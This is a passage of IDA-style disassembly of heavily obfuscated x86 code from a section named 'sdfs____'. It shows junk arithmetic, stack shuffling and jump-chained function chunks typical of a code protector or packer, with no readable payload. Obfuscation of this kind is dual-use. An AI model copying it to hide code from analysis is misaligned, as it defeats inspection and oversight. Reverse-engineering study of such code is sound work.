dword ptr [esp], 39B37415h sub dword ptr [esp], 10D36867h push ecx mov ecx, 0A985C1Fh sub [esp+4], ecx push dword ptr [esp] mov ecx, [esp] push esi jmp loc_58EB97 ; --------------------------------------------------------------------------- loc_59722E: ; CODE XREF: sdfs____:0058BE08j pop ebx jmp loc_5955CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C71E loc_597234: ; CODE XREF: sub_58C71E+11j mov [esp+4+var_4], ebp push ebx jmp loc_590EC5 ; END OF FUNCTION CHUNK FOR sub_58C71E ; --------------------------------------------------------------------------- mov ax, [esp] push edi push esp mov edi, [esp] add esp, 4 jmp loc_58E916 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595678 loc_597251: ; CODE XREF: sub_595678+6F1j mov eax, 33F44EF7h jmp sub_591AD9 ; END OF FUNCTION CHUNK FOR sub_595678 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_59725B: ; CODE XREF: sub_59841F-AF37j mov edx, 4FEB1D54h jmp loc_597866 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax jmp loc_591F2E ; --------------------------------------------------------------------------- loc_59726E: ; CODE XREF: sdfs____:0059520Fj pop esi pop dword ptr [esp] mov esp, [esp] div cx push 568Fh mov [esp], ecx jmp loc_58F7C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BAD7 loc_597285: ; CODE XREF: sub_58BAD7+C89Bj mov ebx, 42FE42A2h not ebx neg ebx add ebx, 0BD01BD61h add edx, ebx pop ebx push edi mov edi, 4 sub edx, 6E6A5740h sub edx, 23CE5D3Dh sub edx, edi add edx, 23CE5D3Dh add edx, 6E6A5740h jmp loc_593F52 ; END OF FUNCTION CHUNK FOR sub_58BAD7 ; --------------------------------------------------------------------------- loc_5972BC: ; CODE XREF: sdfs____:0058FC24j push 4B8D0F4Dh mov esi, [esp] push edi mov edi, esp jmp loc_59884A ; --------------------------------------------------------------------------- loc_5972CC: ; CODE XREF: sdfs____:005957C9j not ebx xor ebx, 6BE2FBF5h jmp loc_594F67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_5972D9: ; CODE XREF: sub_594228-8031j or edx, eax jmp loc_593751 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_5972E0: ; CODE XREF: sub_59841F-A40Aj mov ecx, 0E488B3D1h sub ebx, ecx mov ecx, [esp+0] add esp, 4 mov ebp, ebx pop ebx add ebp, 39A33E0Ch jmp loc_58BB0F ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- loc_5972FB: ; CODE XREF: sdfs____:0058C4B4j mov eax, [esp] add esp, 4 push esi mov esi, 19C93B49h add esi, 249E418Ch sub esi, 35241E1Ah not esi sub esi, 26605598h add esi, 42D0CA4h xor esi, 0D4895852h sub ecx, 36993309h jmp loc_58EAF6 ; --------------------------------------------------------------------------- loc_597332: ; CODE XREF: sdfs____:loc_58D1C0j jmp loc_597C4C ; --------------------------------------------------------------------------- loc_597337: ; CODE XREF: sdfs____:0059585Dj sub ebx, 9F073A6Bh mov esi, ebx pop ebx add eax, esi pop esi add eax, 14C00554h sub eax, ebx sub eax, 14C00554h sub esp, 4 mov [esp], edx mov edx, 593E30B6h jmp loc_58F37C ; --------------------------------------------------------------------------- loc_597362: ; CODE XREF: sdfs____:0058D995j add ecx, 0FF68F0E3h add ebx, ecx jmp loc_58E3A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592853 loc_59736F: ; CODE XREF: sub_592853-68A8j mov [esp+4+var_4], ebp mov ebp, 219715D0h mov ecx, 219715F0h xor ecx, ebp jmp loc_5978E0 ; END OF FUNCTION CHUNK FOR sub_592853 ; --------------------------------------------------------------------------- loc_597383: ; CODE XREF: sdfs____:0059559Fj push esi push eax mov eax, 6788135Fh push eax sub dword ptr [esp], 0BED1169h pop esi add esi, 0BED1169h pop eax xor [esp+4], esi pop esi push dword ptr [esp] jmp loc_596F2A ; --------------------------------------------------------------------------- loc_5973A7: ; CODE XREF: sdfs____:0058BBEEj neg ebx not ebx add ebx, 0FE672805h add esi, ebx jmp loc_597E5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596736 loc_5973B8: ; CODE XREF: sub_596736-5718j mov edx, 1D77469Bh sub ecx, edx pop edx push eax mov eax, esp jmp loc_59447C ; END OF FUNCTION CHUNK FOR sub_596736 ; --------------------------------------------------------------------------- loc_5973C8: ; CODE XREF: sdfs____:00591DC4j mov eax, 2 mov edx, eax mov eax, [esp] add esp, 4 mov ebx, edx jmp loc_58FD34 ; --------------------------------------------------------------------------- loc_5973DC: ; CODE XREF: sdfs____:0058E842j mov esp, [esp] mov [esp], esi mov esi, esp jmp loc_58D582 ; --------------------------------------------------------------------------- loc_5973E9: ; CODE XREF: sdfs____:0058DFDBj sub esp, 2 mov [esp], bx push 6254h mov [esp], edx mov dh, 67h xor dh, 0DBh push ecx mov ch, dh jmp loc_594F32 ; --------------------------------------------------------------------------- loc_597408: ; CODE XREF: sdfs____:00594E2Aj sub edx, 1C2A3585h xor edx, 60484E4Eh add eax, edx jmp loc_593225 ; --------------------------------------------------------------------------- loc_59741B: ; CODE XREF: sdfs____:0058EB02j pop esp mov ax, [esp] push 426Ah jmp loc_598B25 ; --------------------------------------------------------------------------- loc_59742A: ; CODE XREF: sdfs____:00594DACj push dword ptr [esp+4] mov ebp, [esp] push ebp push esp jmp loc_596742 ; --------------------------------------------------------------------------- loc_597438: ; CODE XREF: sdfs____:00594FC9j jg loc_58C895 jmp loc_596B64 ; --------------------------------------------------------------------------- push 731Bh mov eax, ebx loc_59744A: ; CODE XREF: sdfs____:005940ACj ; sdfs____:005950F0j add edi, eax pop eax push ebx mov ebx, 4 add edi, ebx mov ebx, [esp] add esp, 4 xor edi, [esp] jmp loc_5945B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_597466: ; CODE XREF: sub_5941BD+49E9j add ebx, 4 push ecx push ebx mov ebx, 0BF87207h jmp loc_58CC88 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_597478: ; CODE XREF: sub_591435+190j neg eax jz loc_59036F jmp loc_5941FC ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_597485: ; CODE XREF: sdfs____:00590AFDj inc ebx jz loc_58BE80 shr ebx, 1 jns loc_58C4D5 add ebx, 0DCEAAA9Fh jmp loc_59618A ; --------------------------------------------------------------------------- or ah, 0FAh loc_5974A2: ; CODE XREF: sdfs____:0059439Ej pop small word ptr [esp] not si push small 2365h mov [esp], si push small word ptr [esp+2] pop si pop small word ptr [esp] mov cx, [esp] add esp, 2 xor bx, cx xor cx, bx xor bx, cx xor [esp], bx xor bx, [esp] xor [esp], bx jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_5974DD: ; CODE XREF: sdfs____:005940DDj mov ebx, 7FBF7FBDh jmp loc_58D5CA ; --------------------------------------------------------------------------- loc_5974E7: ; CODE XREF: sdfs____:00595D39j push ecx mov ecx, 67731C81h or eax, ecx pop ecx or eax, 3ECC3926h xor eax, 7FFF3FABh push ebp mov ebp, 43094CBBh shl ebp, 1 not ebp shr ebp, 2 xor ebp, 4367377Dh neg ebp xor ebp, 0FF76B67Fh sub esi, ebp pop ebp jmp loc_595692 ; --------------------------------------------------------------------------- loc_59751D: ; CODE XREF: sdfs____:00596CD0j xor ecx, [esp] jmp loc_591317 ; --------------------------------------------------------------------------- loc_597525: ; CODE XREF: sdfs____:00594564j sub al, dl pop edx sub esp, 4 mov [esp], ecx mov ch, 0E8h shr ch, 2 add ch, 0C1h add al, 9Fh add al, ch push cx mov cl, 9Fh add al, 0BDh sub al, cl jmp loc_597C2F ; --------------------------------------------------------------------------- loc_59754A: ; CODE XREF: sdfs____:0058F25Fj sub bh, 0B1h add bh, 4Dh sub bh, 95h jmp loc_58DE99 ; --------------------------------------------------------------------------- loc_597558: ; CODE XREF: sdfs____:00591A80j mov edx, 4 add ebx, 56CC3297h push eax mov eax, 4C006E18h sub ebx, eax pop eax jmp loc_595916 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_597571: ; CODE XREF: sub_5987BC-C742j jmp loc_597CC6 ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_597576: ; CODE XREF: sub_591435+1924j push eax push esp pop eax push esi mov esi, 4 add eax, esi pop esi jmp loc_5986FF ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_597587: ; CODE XREF: sdfs____:00594AB7j mov eax, [esp] add esp, 4 push edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi jmp loc_58ECD9 ; --------------------------------------------------------------------------- loc_59759E: ; CODE XREF: sdfs____:loc_58C895j jmp loc_58EEB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_5975A3: ; CODE XREF: sub_591370+341Aj mov ebx, [esp+0] push ebx jmp loc_592326 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_5975AC: ; CODE XREF: sub_5987BC-AB52j add bl, 0A8h add bl, 8Dh sub bl, al sub bl, 8Dh push eax mov ah, 0A8h sub bl, ah pop eax push eax jmp loc_597D78 ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_598A21 loc_5975C3: ; CODE XREF: sub_598A21-7309j xchg ebp, ecx jmp sub_58E01A ; END OF FUNCTION CHUNK FOR sub_598A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591397 loc_5975CA: ; CODE XREF: sub_59377D-E84j ; sub_591397+2D88j push eax mov eax, 218B1714h inc eax shr eax, 5 xor eax, 5A9A6780h jmp loc_594136 ; END OF FUNCTION CHUNK FOR sub_591397 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5920A6 loc_5975DE: ; CODE XREF: sub_5920A6-2B77j pop ebx add eax, edx pop edx add eax, 4 xor eax, [esp-8+arg_4] xor [esp-8+arg_4], eax xor eax, [esp-8+arg_4] pop esp jmp loc_593698 ; END OF FUNCTION CHUNK FOR sub_5920A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_5975F6: ; CODE XREF: sub_59841F-B9Fj mov ebx, 4 push edx mov edx, 4F307382h and edx, 692A6817h sub edx, 18643799h jmp loc_591700 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- loc_597612: ; CODE XREF: sdfs____:0058EA63j sub edi, 4DB4565Ch jbe loc_590658 jmp loc_58D837 ; --------------------------------------------------------------------------- loc_597623: ; CODE XREF: sdfs____:00596594j jmp loc_58DBE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_597628: ; CODE XREF: sub_591370-12F7j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-18h+arg_14] pop esp push ebp sub esp, 4 jmp loc_598A70 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- mov ax, [esp] push eax push 3E42h mov [esp], esp jmp loc_592F89 ; --------------------------------------------------------------------------- loc_597655: ; CODE XREF: sdfs____:00597DEBj mov ecx, 492438F3h not ecx neg ecx jnz loc_591B76 neg ecx jmp loc_596A00 ; --------------------------------------------------------------------------- mov edi, 509E494Ah loc_597670: ; CODE XREF: sdfs____:005966B1j dec ebx jnz loc_594FCE push esi mov esi, 0FFF47FFEh sub ebx, esi mov esi, [esp] add esp, 4 ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_597685: ; CODE XREF: sub_5917C0-4E49j ; sdfs____:00596A2Ej add edx, esi mov esi, [esp-8+arg_4] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-4+arg_0] pop esp add edx, 2 xchg edx, [esp-8+arg_4] pop esp sub bl, 88h push ecx mov cl, 80h jmp loc_59457F ; END OF FUNCTION CHUNK FOR sub_5917C0 ; =============== S U B R O U T I N E ======================================= sub_5976B0 proc near ; CODE XREF: sub_5BB696-2A392j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058C64D SIZE 00000007 BYTES sub esp, 4 mov [esp+4+var_4], ebp push esp pop ebp push ebx mov ebx, 70947734h add ebx, 8F6B88D0h add ebp, ebx pop ebx add ebp, 4 jmp loc_58C64D sub_5976B0 endp ; --------------------------------------------------------------------------- loc_5976D2: ; CODE XREF: sdfs____:0058F7B1j xor ebp, 41C5934h jmp loc_58C8EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5934D7 loc_5976DD: ; CODE XREF: sub_5934D7-A0Dj pop esi mov ecx, [esp+4+var_4] jmp sub_596736 ; END OF FUNCTION CHUNK FOR sub_5934D7 ; --------------------------------------------------------------------------- loc_5976E6: ; CODE XREF: sdfs____:00596341j sub al, 36h jmp loc_58F534 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_5976ED: ; CODE XREF: sub_594228-63Fj push cx mov cl, 98h sub al, cl pop cx pop edx sub bl, 0D6h jmp loc_58BD28 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_5976FE: ; CODE XREF: sub_591370-3C31j mov edi, ebx mov ebx, [esp-14h+arg_10] jmp loc_58E11E ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_597708: ; CODE XREF: sdfs____:00598B61j push ebp mov ebp, 4 add [esp+4], ebp jmp loc_58E67E ; --------------------------------------------------------------------------- loc_597717: ; CODE XREF: sdfs____:00595B2Bj push 7AEAh mov [esp], edi push esp pop edi jmp loc_592369 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EC13 loc_597726: ; CODE XREF: sub_58EC13+3j mov [esp+0Ch+var_C], esi jmp loc_58D38A ; END OF FUNCTION CHUNK FOR sub_58EC13 ; --------------------------------------------------------------------------- loc_59772E: ; CODE XREF: sdfs____:005982A8j xchg eax, edx not edx jmp loc_5922D4 ; --------------------------------------------------------------------------- loc_597736: ; CODE XREF: sdfs____:00591461j mov esp, [esp] mov cx, [esp] jmp loc_5947B5 ; --------------------------------------------------------------------------- loc_597742: ; CODE XREF: sdfs____:005945C0j jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_597747: ; CODE XREF: sub_594228+28FDj pop edx jmp loc_58FC99 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_59774D: ; CODE XREF: sdfs____:0058BAC9j push ecx jmp loc_5964D4 ; --------------------------------------------------------------------------- loc_597753: ; CODE XREF: sdfs____:00595E3Cj popa retn ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 add esp, 4 push esi mov esi, esp push edx mov edx, 4 sub esi, 38365794h add esi, edx add esi, 38365794h mov edx, [esp] add esp, 4 jmp loc_592578 ; --------------------------------------------------------------------------- loc_59778A: ; CODE XREF: sdfs____:0058E917j mov ebx, 4 add edi, 37032C08h add edi, ebx sub edi, 37032C08h pop ebx jmp loc_58C05E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5977A3: ; CODE XREF: sub_591435+1A86j shl edx, 1 push 43B7h mov [esp+18h+var_18], ecx mov ecx, 5260164Ah jmp loc_594CF8 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_5977B7: ; CODE XREF: sdfs____:005904BEj mov esp, [esp] jmp loc_594AB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_5977BF: ; CODE XREF: sub_591370+39B8j neg ecx sub ecx, 3E160471h mov edi, ecx jmp loc_594F61 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_5977CE: ; CODE XREF: sdfs____:00595482j mov ebx, 45C856A6h jmp loc_596CD5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_5977D8: ; CODE XREF: sub_591370-3C7Ej or edi, 69186677h xor edi, 7DD52678h mov edx, edi pop edi jmp loc_5944CB ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595678 loc_5977EC: ; CODE XREF: sub_595678+2EE3j pop ebp push ecx push edx mov edx, 958071Fh not edx push esi jmp loc_594B1D ; END OF FUNCTION CHUNK FOR sub_595678 ; --------------------------------------------------------------------------- movzx ax, byte ptr fs:[edx] sub esp, 4 mov [esp], edi mov edi, esp push ebp jmp loc_58C2A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_597CE3 loc_597812: ; CODE XREF: sub_597CE3-AA96j mov [esp+0], ebx push dword ptr [esp+0] jmp loc_58E44E ; END OF FUNCTION CHUNK FOR sub_597CE3 ; --------------------------------------------------------------------------- loc_59781D: ; CODE XREF: sdfs____:0058F61Cj mov [esp], ebx mov ebx, 4EFC33B2h jmp loc_597B00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_59782A: ; CODE XREF: sub_594228-2C89j mov ebx, [esp+0Ah+var_C+2] add esp, 4 jmp loc_58E3AA ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_597835: ; CODE XREF: sdfs____:0058C5F8j ; sub_59841F:loc_5906D3j jmp loc_5942AA ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- loc_59783A: ; CODE XREF: sdfs____:0058DA6Ej push 49A0h mov [esp], esi mov esi, 490829DFh jmp loc_58EB86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_59784C: ; CODE XREF: sub_5987BC-AA62j push [esp-8+arg_4] pop ebx add esp, 4 jmp loc_58E4AB ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- loc_597858: ; CODE XREF: sdfs____:00592E22j mov edi, esp add edi, 4 push eax jmp loc_590981 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_597866: ; CODE XREF: sub_59841F-11BFj shr edx, 1 sub edx, 3DA51470h shl edx, 5 sub edx, 4A0F473Ch add ecx, edx mov edx, [esp+0] add esp, 4 push ebx jmp loc_5975F6 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_597885: ; CODE XREF: sub_594228+23B6j mov esp, [esp-0Ah+arg_6] mov [esp-0Ah+arg_6], edx push eax pushf jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_597892: ; CODE XREF: sub_5917C0+2749j sub al, cl pop ecx mov dx, word ptr [esp-8+arg_4] add esp, 2 sub esp, 2 mov word ptr [esp-8+arg_4], cx mov ch, 0C3h add al, ch mov cx, word ptr [esp-8+arg_4] jmp loc_590912 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_5978B6: ; CODE XREF: sdfs____:0059039Cj add dword ptr [esp], 4 push dword ptr [esp] jmp loc_596667 ; --------------------------------------------------------------------------- loc_5978C2: ; CODE XREF: sdfs____:00596FB1j sub esp, 4 push 4D90h mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_58DDE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592853 loc_5978E0: ; CODE XREF: sub_592853+4B2Bj pop ebp add ecx, edi push ebx push ebp mov ebp, 0 push ebp xor [esp+0Ch+var_C], 0B94F6Eh pop ebx xor ebx, 0B94F6Eh pop ebp push ebp push esi jmp loc_59866F ; END OF FUNCTION CHUNK FOR sub_592853 ; --------------------------------------------------------------------------- loc_597901: ; CODE XREF: sdfs____:0058EF1Dj mov ax, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_58E833 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590561 loc_597915: ; CODE XREF: sub_590561+47B3j and si, 7818h xor si, 0F115h jmp loc_598111 ; END OF FUNCTION CHUNK FOR sub_590561 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_597924: ; CODE XREF: sub_591435+6FA4j pop esp mov [esp+0], ecx jmp loc_59611E ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_59792D: ; CODE XREF: sub_59841F-9B6Cj jmp loc_58C62E ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- loc_597932: ; CODE XREF: sdfs____:0058E6DFj add edi, 62E2593Bh add edi, 487B753Dh pop edx xchg edi, [esp] pop esp mov [esp], ecx mov ecx, 28h push ebx mov ebx, 2E7B180Ch sub ecx, ebx pop ebx jmp loc_591906 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_597959: ; CODE XREF: sub_594228-84FEj mov al, 2Eh add bl, al pop ax sub bl, 0A7h add bl, al add bl, 0A7h sub bl, 2Eh push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+4+var_4] pop esp mov [esp+0], ecx mov cl, 0D6h sub bl, 93h add bl, cl add bl, 93h mov ecx, [esp+0] push edx push esp pop edx add edx, 4 jmp loc_594A9D ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_59799B: ; CODE XREF: sub_591435+2776j and bl, 62h xor bl, 22h xor bl, 93h add al, bl pop ebx add al, 0C3h add al, bl jmp loc_592D52 ; --------------------------------------------------------------------------- loc_5979B0: ; CODE XREF: sdfs____:0058F5D3j ; sub_591435+198j pop eax add eax, ebx pop ebx mov edx, [esp+8+var_8] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+0Ch+var_C] pop esp xchg eax, [esp+8+var_8] mov esp, [esp+8+var_8] mov [esp+0], ecx jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_5979D5: ; CODE XREF: sub_594228-8567j push edi mov edi, 4F33681Dh mov ebx, 90E0EAAh xor ebx, edi pop edi add ebx, 403E55B6h xor ebx, 867BBC69h add ebp, ebx pop ebx sub esp, 4 mov [esp+0], ebx jmp loc_58FAAB ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_597A00: ; CODE XREF: sdfs____:loc_596A8Dj xor ebx, 3E44105Ah inc ebx jl loc_59224E sub ebx, 34E3FFEAh jmp loc_59630F ; --------------------------------------------------------------------------- loc_597A18: ; CODE XREF: sdfs____:00595D70j add bl, dh pop edx add bl, al push eax mov al, 26h sub al, 10h jmp loc_58F829 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_597A27: ; CODE XREF: sub_591370-48F0j sub edi, ecx pop ecx mov edx, edi pop edi jmp loc_590428 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_597A32: ; CODE XREF: sub_5941BD-493Bj ; sdfs____:00594762j shr ebx, 4 jmp loc_59380F ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- loc_597A3A: ; CODE XREF: sdfs____:00591AAEj mov dh, 51h push ebx jmp loc_58C425 ; --------------------------------------------------------------------------- loc_597A42: ; CODE XREF: sdfs____:005909CCj pop ecx push eax jmp loc_59708D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_597A49: ; CODE XREF: sdfs____:0058ECE8j ; sub_594228-17D4j ... add edi, 106C412Dh jmp loc_58CB58 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_597A54: ; CODE XREF: sdfs____:0058BC49j sub esi, 4F7B3372h push edx mov edx, esi push edx add dword ptr [esp], 7AC04356h pop eax sub eax, 7AC04356h jmp loc_5924E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_597A70: ; CODE XREF: sub_591435-4237j sub al, cl pop ecx jmp loc_58BEA6 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_597A78: ; CODE XREF: sdfs____:0058BDE8j jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_597A7D: ; CODE XREF: sdfs____:0058E314j jz loc_592F24 xor ebx, 3BE0C4F2h mov ecx, ebx pop ebx xor edi, ecx jmp loc_5922C4 ; --------------------------------------------------------------------------- loc_597A93: ; CODE XREF: sdfs____:00594E4Ej sub esp, 4 mov [esp], eax push esi push eax jmp loc_594B07 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_597AA0: ; CODE XREF: sub_5941BD-6A49j add esi, edx push edx mov edx, 6EFF5F2Fh jmp loc_58D7CC ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591AD9 loc_597AAD: ; CODE XREF: sub_591AD9-471j pop ebp add edi, 4 xchg edi, [esp+0] jmp loc_58E65B ; END OF FUNCTION CHUNK FOR sub_591AD9 ; --------------------------------------------------------------------------- loc_597ABC: ; CODE XREF: sdfs____:00592B37j mov ebp, 27271D4Fh neg ebp dec ebp jmp loc_5983DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592853 loc_597AC9: ; CODE XREF: sub_592853+5E29j pop esi sub ebx, 28207C5Fh jmp loc_596FF6 ; END OF FUNCTION CHUNK FOR sub_592853 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_597AD5: ; CODE XREF: sub_5917C0+5324j mov edi, ebp mov ebx, edi pop edi mov ebp, [esp+4+var_4] sub esp, 4 mov [esp+8+var_8], edi mov edi, esp add edi, 4 jmp loc_5912BE ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_597AF3: ; CODE XREF: sub_5987BC-4AD9j sub si, 3AD0h pop ax push ecx jmp sub_590561 ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- loc_597B00: ; CODE XREF: sdfs____:00597825j neg ebx shr ebx, 1 shl ebx, 8 add ebx, 6FDA53FCh push eax mov eax, 71D9639Eh xor ebx, eax pop eax sub ebx, 8019195Eh jmp loc_58D45D ; --------------------------------------------------------------------------- loc_597B21: ; CODE XREF: sdfs____:0058C8F3j add esp, 4 push 39C8h mov [esp], ebp mov ebp, 4 add esi, ebp pop ebp jmp loc_5922FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_597B3C: ; CODE XREF: sub_594228-449Bj sub ebp, 3597C875h mov esi, ebp pop ebp and esi, 188902C3h jns loc_595F46 xor esi, 68850A1Dh jno loc_59093A mov dl, 0E6h pop ecx loc_597B60: ; CODE XREF: sub_596F8A-A43Dj mov [esp+1Ah+var_1C+2], ebp push [esp+1Ah+var_18+2] pop ebp jmp loc_592A77 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59369D loc_597B6D: ; CODE XREF: sub_59369D+31B4j add eax, 0AD66EA48h jmp loc_5925E6 ; END OF FUNCTION CHUNK FOR sub_59369D ; --------------------------------------------------------------------------- loc_597B77: ; CODE XREF: sdfs____:0059618Cj add dl, 0A7h mov ch, dl pop edx xor ch, bh jmp loc_58BEBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FE99 loc_597B84: ; CODE XREF: sub_58FE99+5599j jg loc_58C05E sub esi, 389EF025h push 27D3h mov [esp+14h+var_14], esi mov edi, [esp+14h+var_14] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+18h+var_18] pop esp pop esi xor eax, edi pop edi jmp loc_5944B6 ; END OF FUNCTION CHUNK FOR sub_58FE99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_597BB4: ; CODE XREF: sub_5917C0:loc_58D0A9j neg ebx jmp loc_58F0AB ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_597BBB: ; CODE XREF: sdfs____:005964E6j or eax, ebp pop ebp or eax, 64CF73E0h jmp loc_593037 ; --------------------------------------------------------------------------- loc_597BC8: ; CODE XREF: sdfs____:00595B09j pop ecx pop dword ptr [esp] jmp loc_58F00F ; --------------------------------------------------------------------------- loc_597BD1: ; CODE XREF: sdfs____:0058F377j add eax, ecx push dword ptr [esp] pop ecx add esp, 4 jmp loc_58FA35 ; --------------------------------------------------------------------------- loc_597BE2: ; CODE XREF: sdfs____:005981A1j mov ebx, [esp] jmp loc_59224E ; --------------------------------------------------------------------------- loc_597BEA: ; CODE XREF: sdfs____:0058CA51j xor ecx, 22FE21E8h sub ecx, 